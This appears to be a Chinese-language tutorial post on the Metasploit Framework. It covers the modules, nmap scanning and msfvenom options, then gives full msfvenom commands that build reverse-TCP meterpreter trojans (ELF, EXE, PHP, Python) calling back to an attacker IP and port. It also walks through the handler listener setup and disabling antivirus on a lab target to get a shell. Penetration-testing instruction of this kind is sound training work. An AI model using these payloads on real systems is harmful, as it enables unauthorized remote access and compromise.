发布于2022年10月15日3年前 metasploit框架介绍 MSF The Metasploit Framework的简称。MSF高度模块化,即框架由多个 module组成,是全球最受欢迎的工具。进一步解释 是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞 和流行的shellcode,并持续保持更新。 metasploit目录结构及用途 Linux下metasploit目录路径:/opt/metasploit-framework/embedded/framework//usr/share/metasploit-framework/kali自带,目录同上 目录文件作用:metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload 进行一系列的渗 透测试。data 包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。documentation 包含框架的可用文档。lib metasploit 的库文件夹。plugins 用来存放metasploit的插件。scripts 用来存放metasploit的脚本,包括meterpreter及其它脚本。tools 存放多种的命令行实用程序。modules 存储metasploit的模块文件。 modules目录 modules——模块目录是metasploit 很重要的目录,下面对里面的一些常用模块进行解释: auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shel的代码post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统evasion:躲避模块,用来生成免杀payloadnops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90>0…)则会因为被拦截而导致攻击失效。 metasploit的使用 msfdb init:初始化数据库 msfconsole:启动 metasploit的信息收集 db_ nmap: nmap扫描 -PA: TCP ACK PING扫描 -PS: TCP SYN PING扫描 -PR: ARP扫描是nmap对目标进行一个arp ping扫 描的过程,尤其在内网的情况下。因为防火墙不会 禁止ARP请求。 hosts:当前工作区所有主机 db_nmap扫描和nmap扫描基本相同,最明显的不同点是db_nmap扫描会把扫描出来的端口等信息结果保存到数据库里面。 端口、服务、版本的探测 db_ nmap: nmap扫描 -T[0-5]: 默认为T3,T4表示最大TCP扫描延迟为 10ms -sS: TCP SYN扫描 -sA: TCP ACK扫描 -sT: TCP扫描 -A:打开操作系统探测和版本探测。 他也有nmap上的–script命令,去指定脚本,来检查指定的脚本是否有脆弱性漏洞 –script=vuln:检查是否具有常见漏洞~ Nmap端口信息收集 root@kali:~# nmap -sV -T4 xxx.xxx.xxx.xxx Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:46 CST Not shown: 992 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysq! MySQL (unauthorized) 3389/tcp open ssl/ms-wbt-server? 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) MAC Address: 00:0C:29:0D:E5:D0 (VMware) Service Info: Host: LISIANTHUS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows msfvenom基本参数 –payload, 指定特定的Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。 –list,,列出所有可用的项目,其中值可以被设置为payloads, encoders, nops, all -n: --nopsled, 指定nop在payload中的数量 -f: --format, 指定Payload的输出格式(–list formats:列出所有可用的输出格式) -e: --encoder, 指定使用的encoder -a: --arch, 指定目标系统架构 –platform: 指定目标系统平台 -S: --space, 设置未经编码的Payload的最大长度(–encoder-space: 编码后的Payload的最大长度) -b: --bad -chars,设置需要在Payload中避免出现的字符,例如: ’ \0f’、’ \x00’等 -i: --iterations, 设置Payload的编码次数 – smallest:尽可能生成最短的Payload -0: --out, 保存Payload到文件 -C: --add-code, 指定一个附加的win32 shellcode文件 -x: --template, 指定一个特定的可执行文件作为模板 -k: --keep, 保护模板程序的功能,注入的payload作为一个新的进程运行 msfvenom生成payload msfvenom可以用来生成Linux的ELF文件、Windows的PE文件(.exe)、web可执行文件php和Python可执行文件.py。linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< Target IP Address> LPORT= -f elf > shell.elfwindows: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exephp: msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.phppython: msfvenom -p python/meterpreter/reverse_tcp LHOST= < Your IP Address> LPORT= -f raw > shell.py payload较长,这里拿Windows的来解释一下其中各元素代表的意思:msfvenom -p windows/meterpreter/reverse_ tcp LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f exe > shell.exemsfvenom是他的shell命令-p 指定payloadwindows/meterpreter/reverse_ tcp 指定payload为windows/meterpreter/reverse_ tcp的反向监听端口,接受反弹shellLHOST=<Your IP Address> LPORT= <Your Port to Connect On>在上面的路径中指定两个参数localhost和localport指定攻击机的地址和攻击机上开启的远程监听端口-f exe > shell.exe:-f意为-file,指定输出的格式为exe,用重定位符>,定位到一个指定的文件(shell.exe)这里的shell.exe是我们自设定的木马。 而上面的PHP和Python的payload中的-f后都加的raw,raw是未经处理的文件,大家如果拍过照可能会遇到过raw,最后通过重定位符,重定向为shell.php/shell.py。 执行msfvenom命令,-p指定为Windows(本次拿Windows做个测试)lhost填写攻击机的IP,ifconfig查看,lport设置为此开设的端口,最后指定文件类型并重定向为shell.exe。msfvenom -p windows/meterpreter/reverse_ tcp lhost=10.2.113.13 lport= 7777 -f exe > shell.exe 执行msfconsole命令,进入它的shell: 在这里使用EXR(exploit)攻击模块的handler,开启握手监听 并查看配置信息show options 可以看到,里面有模块信息module options,我们可以对此进行设置payload的模块载荷。 由于上面我们生成的木马指定的是Windows的tcp,所以这里设置payload载荷与上面一致set payload windows/meterpreter/reverse_tcp,并再次查看配置项,查看模块组区域的变化,已经加载该模块。 看上图,这时候msfconsole配置项中的lhost还是空的,lport是4444(默认值),将他们设置成攻击机的IP以及刚才生成payload时设置的端口(7777)。 最后使用exploit进行攻击或者使用run将其跑起来,此处先跑run,开启本机IP的7777端口的监听。 将生成的shell.exe文件传给Windows靶机,如果靶机上装的有杀毒软件,会检测到有后门文件(win10安全中心说是特洛伊木马)直接删掉文件,由于我们是在测试,so 关掉杀毒软件重复此操作 继续。 侦听端侦听到一个IP为10.2.99.185的,上面截图是一组信息,之后还会一直有信息刷新,证明该连接保持存活着。最后获得meterpreter > Metasploit是个啥 Metasploit的exploit/multi/handler模块是一个有效负载处理程序, 它只处理在受损主机中执时有效负载连接。 Meterpreter是metasploit的后渗透利用工具。基于内存l注入实现,能够通过创建一个新进程并调用 注入的来让目标系统运行注入的dll文件。在该模式下,攻击者与目标设备中Meterpreter的通信是通 过stager套接字实现的。 Meterpreter-Get shell 获得meterpreter之后可以进行后渗透的测试。 也可以执行shell拿到靶机的shell,测试
创建帐户或登录后发表意见